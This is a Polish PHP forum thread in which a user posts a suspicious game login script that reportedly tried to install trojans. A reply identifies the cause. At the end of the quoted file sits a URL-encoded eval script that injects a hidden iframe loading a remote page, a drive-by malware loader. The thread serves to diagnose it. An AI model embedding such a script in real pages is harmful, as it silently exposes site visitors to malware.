Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Podejrzany plik...[php]
Forum PHP.pl > Forum > PHP
ManiQu
Witam. Dostałem od qmpla plik do logowania. Ale coś mi tu nie pasuje. Kilka razy probowal mi sie zainstalowac trojan :/
Cytat
<?php

define('INSIDE', true);
$ugamela_root_path = './';
include($ugamela_root_path . 'extension.inc');
include($ugamela_root_path . 'common.'.$phpEx);

includeLang('login');

if($_POST){ //si no se establecio un post manda al login.php

//Se realiza una quiery buscando el nombre de usuario
$login = doquery("SELECT * FROM {{table}} WHERE `username` = '".mysql_escape_string($_POST['username'])."' LIMIT 1","users",true);

if($login) //Si se encuentra un usuario, $login es una array
{ //Se identifica la contraseÄŹĹĽËť

if($login['password'] == md5($_POST['password']))
{
$aktywacja = doquery("SELECT ok FROM {{table}} WHERE `username` = '".mysql_escape_string($_POST['username'])."' LIMIT 1","users",true);
if($login['ok'] == 0){
message('Musisz aktywowac konto. Po rejestracji został do Ciebie wysłany link aktywacyjny z danymi.');
}

//
//Se da un mensaje de aprovacion, y se redirecciona.
//Se puede optar por no utilizar, y solo hacer un header location
//Para mantener mas tiempo la expiracion de la cookie
//
if (isset($_POST["rememberme"]))
{
$expiretime = time()+31536000; $rememberme = 1;
}
else
{
$expiretime = 0;
$rememberme = 0;
}

@include('config.php');
$cookie = $login["id"] . " " . $login["username"] . " " . md5($login["password"] . "--" . $dbsettings["secretword"]) . " " . $rememberme;

setcookie($game_config['COOKIE_NAME'], $cookie, $expiretime, "/", "", 0);

unset($dbsettings);
//echo '<META HTTP-EQUIV="refresh" content="3;URL=java script:self.location=\'index.php\';">'."\n";
header("Location: ./index.php");
die();
}
else
{//Muestra un mensaje de error.

message($lang['Login_FailPassword'],$lang['Login_Error']);

}

}
else
{ //Cuando $login no contiene datos de jugadores

message($lang['Login_FailUser'],$lang['Login_Error']);

}

}
else
{//Vista normal

$parse = $lang;
//preguntamos quien fue el ultimo en registrarse
$query = doquery('SELECT username FROM {{table}} ORDER BY register_time DESC','users',true);
$parse['last_user'] = $query['username'];
//preguntamos quien fue el ultimo en registrarse
$query = doquery("SELECT COUNT(DISTINCT(id)) FROM {{table}} WHERE onlinetime>".(time()-900),'users',true);
$parse['online_users'] = $query[0];
//$count = doquery(","users",true);
$parse['users_amount'] = $game_config['users_amount'];

echo parsetemplate(gettemplate('login_body'), $parse);

// display($page,$lang['Login']);

}
?> <script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%64%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%61%6c%6c%74%72%61%66%66%2e%72%75%2f%6c%6f%6c%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%32%36%30%36%37%38%29%2b%27%62%35%33%34%66%66%30%66%30%32%32%32%5c%27%20%77%69%64%74%68%3d%36%39%37%20%68%65%69%67%68%74%3d%33%37%34%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>
nospor
na dole tego skryptu masz:
Kod
<script>....</script>

To ci tworzy iframe i laduje jakas strone. No raczej tego miec nie powinienes winksmiley.jpg
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.